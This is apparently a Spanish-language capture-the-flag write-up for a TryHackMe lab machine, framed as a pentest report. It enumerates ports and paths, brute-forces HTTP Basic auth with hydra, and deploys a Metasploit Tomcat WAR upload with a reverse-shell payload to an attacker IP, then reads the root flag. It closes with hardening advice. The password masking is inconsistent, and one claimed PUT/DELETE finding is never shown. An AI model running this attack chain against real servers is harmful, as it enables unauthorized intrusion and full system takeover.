ToolsRus

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Se realizó una evaluación de seguridad sobre el objetivo identificado como toysus.thm, una máquina accesible a través de la red. El alcance incluyó:

  • Reconocimiento de servicios expuestos.

  • Enumeración de rutas web visibles y ocultas.

  • Ataques de fuerza bruta para obtener credenciales de acceso.

  • Explotación de vulnerabilidades en servicios mal configurados.

  • Obtención de acceso remoto al sistema y recuperación de archivos sensibles.

El objetivo final fue demostrar el impacto de configuraciones inseguras en entornos de servidor Apache Tomcat.

2. Enumeración de Servicios

2.1 Escaneo de Puertos - Nmap

Se utilizó nmap para identificar los puertos abiertos y servicios en ejecución en el host.

Comando ejecutado:

nmap -sS toysus.thm

Resultado:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-27 17:28 EDT
Nmap scan report for toysus.thm (10.10.219.248)
Host is up (0.18s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1234/tcp open  hotline
8009/tcp open  ajp13

Nmap done: 1 IP address (1 host up) scanned in 2.29 seconds

Interpretación de resultados:

Puerto
Estado
Servicio detectado
Interpretación

22/tcp

Abierto

SSH

Servicio para acceso remoto

80/tcp

Abierto

HTTP

Página web pública

1234/tcp

Abierto

hotline (mal identificado)

Servicio HTTP, Apache Tomcat

8009/tcp

Abierto

AJP13

Protocolo Apache JServ (Tomcat backend)

Notas:

  • El puerto 1234 expone Apache Tomcat a través de HTTP.

  • El puerto 8009 expone AJP, un canal interno que puede ser explotado si no está protegido.

2.2 Enumeración Web - Gobuster

Se realizó un escaneo de rutas ocultas en la aplicación web mediante gobuster, utilizando una wordlist común de directorios.

Comando ejecutado:

gobuster dir -u http://toysus.thm -w /usr/share/seclists/Discovery/Web-Content/common.txt -x .php,.js

Resultado relevante:

/.hta                 (Status: 403)
/.hta.php             (Status: 403)
/.hta.js              (Status: 403)
/.htaccess            (Status: 403)
/.htpasswd            (Status: 403)
/.htaccess.php        (Status: 403)
/.htaccess.js         (Status: 403)
/.htpasswd.php        (Status: 403)
/.htpasswd.js         (Status: 403)
/guidelines           (Status: 301) [--> http://toysus.thm/guidelines/]
/index.html           (Status: 200)
/protected            (Status: 401)
/server-status        (Status: 403)

Interpretación de resultados:

Ruta encontrada
Estado
Interpretación

/guidelines

301 (Redirección)

Ruta válida que podría contener información útil

/protected

401 (No autorizado)

Área protegida que requiere autenticación

/server-status

403 (Prohibido)

Endpoint de diagnóstico de Apache, accesible parcialmente

Archivos .htaccess, .htpasswd

403 (Prohibido)

Archivos de configuración visibles, posible fuga de información si mal configurados

Notas de la enumeración

  • La ruta /protected sugiere que existe un sistema de autenticación para acceder a contenido restringido.

  • El servidor devuelve errores 403 en archivos críticos de configuración .htaccess y .htpasswd, indicando que están protegidos, aunque el simple hecho de su presencia ya revela que hay un intento de controlar el acceso.

  • La presencia de /guidelines/ podría indicar documentación o pistas para acceder al sistema.

3. Fuerza Bruta de Credenciales

3.1 Objetivo

Acceder a la ruta protegida /protected, identificada en la enumeración anterior, mediante ataque de fuerza bruta sobre el mecanismo de autenticación HTTP Basic.

3.2 Ataque con Hydra

Se utilizó hydra, una herramienta de fuerza bruta de contraseñas, atacando la autenticación HTTP Basic del servidor.

Comando ejecutado:

hydra -l bob -P rockyou.txt toysus.thm http-get /protected

Explicación del comando:

  • -l bob: Se especifica que el nombre de usuario es bob.

  • -P rockyou.txt: Se utiliza el diccionario de contraseñas rockyou.txt.

  • http-get /protected: Se ataca la autenticación HTTP Basic del recurso /protected.

3.3 Resultado del ataque

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak

[80][http-get] host: toysus.thm   login: bob   password: *****
1 of 1 target successfully completed, 1 valid password found

Credenciales obtenidas:

Usuario
Contraseña

bob

++++++

Interpretación:

  • Se logró comprometer exitosamente la autenticación HTTP utilizando un ataque de fuerza bruta.

  • El uso de una contraseña débil (++++++) permitió el acceso.

4. Explotación Remota y Acceso al Sistema

4.1 Identificación de la vulnerabilidad

Al analizar el entorno expuesto en el puerto 1234, se detectó:

  • Apache Tomcat Manager Application disponible en /manager/html.

  • Permiso de subida de archivos WAR a través del panel web de Tomcat Manager.

Con las credenciales (bob:+++++++) obtenidas, se procedió a explotar esta funcionalidad.

4.2 Explotación usando Metasploit

Se utilizó el módulo de Metasploit exploit/multi/http/tomcat_mgr_upload para subir un archivo malicioso (.war) que contiene un payload de conexión inversa (reverse shell).

Parámetros configurados:

Opción
Valor

RHOSTS

10.10.219.248

RPORT

1234

TARGETURI

/manager

HTTPUSERNAME

bob

HTTPPASSWORD

bubbles

LHOST

10.6.17.22 (IP del atacante)

LPORT

4444

Comando de ejecución en Metasploit:

use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 10.10.219.248
set RPORT 1234
set TARGETURI /manager
set HttpUsername bob
set HttpPassword bubbles
set LHOST 10.6.17.22
set LPORT 4444
set PAYLOAD java/meterpreter/reverse_tcp
run

4.3 Resultado

[*] Started reverse TCP handler on 10.6.17.22:4444 
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying k2B4AVB1XjI61s...
[*] Executing k2B4AVB1XjI61s...
[*] Sending stage (58037 bytes) to 10.10.219.248
[*] Undeploying k2B4AVB1XjI61s ...
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (10.6.17.22:4444 -> 10.10.219.248:42280)

5. Obtención de la Bandera y Validación de Acces

5.1 Localización de la Bandera

Después de obtener acceso con meterpreter, se navegó hacia el directorio /root, donde se identificó el archivo flag.txt.

Comandos ejecutados:

meterpreter > cd /root 
meterpreter > ls

Resultado:

Listing: /root 
============== 
.flag.txt 
.bash_history 
.bashrc 
.profile 
.ssh/ 
.viminfo 
snap/

5.2 Lectura del contenido de flag.txt

Comando ejecutado:

meterpreter > cat flag.txt`

Contenido de la bandera:

ff1fc4a81affcc7688cf89ae7dc6e0e1

5.3 Validación del acceso

  • Se confirmó la capacidad de leer archivos dentro del directorio /root, lo cual implica:

    • Compromiso total del sistema.

    • Acceso con privilegios administrativos.

    • Pérdida completa de la confidencialidad e integridad de la máquina objetivo.

6. Conclusiones y Recomendaciones

6.1 Conclusiones

Durante la evaluación de seguridad realizada sobre toysus.thm, se lograron identificar y explotar múltiples vulnerabilidades críticas:

  • Mala configuración de Tomcat Manager: Permitiendo autenticación básica débil y subida de archivos .war ejecutables.

  • Exposición de métodos HTTP peligrosos (PUT, DELETE): Que permiten la carga y potencial eliminación de recursos en el servidor web.

  • Puertos de servicio mal protegidos (AJP, Tomcat Admin): Expuestos a toda la red, sin control de acceso por firewall o reglas de red.

  • Uso de contraseñas débiles: La contraseña bubbles fue encontrada mediante fuerza bruta usando un diccionario público (rockyou.txt).

La explotación de estas debilidades permitió al atacante obtener una shell remota como usuario root y capturar información sensible (flag.txt), evidenciando un compromiso completo del sistema.

6.2 Recomendaciones

Se recomienda implementar las siguientes medidas de mitigación para proteger el servidor:

Medida
Descripción

Restringir acceso al Tomcat Manager

Mediante autenticación fuerte y filtrado por IP.

Deshabilitar métodos HTTP innecesarios

Remover PUT y DELETE si no son utilizados explícitamente.

Implementar reglas de firewall

Restringir el acceso a los puertos 8009 (AJP) y 1234 (Tomcat HTTP) sólo a fuentes autorizadas.

Mejorar las políticas de contraseñas

Implementar contraseñas robustas, mínimo 12 caracteres con complejidad.

Actualizar Apache Tomcat

A una versión más reciente que corrija vulnerabilidades conocidas.

Separación de privilegios

Ejecutar los servicios como usuarios no privilegiados, nunca como root.

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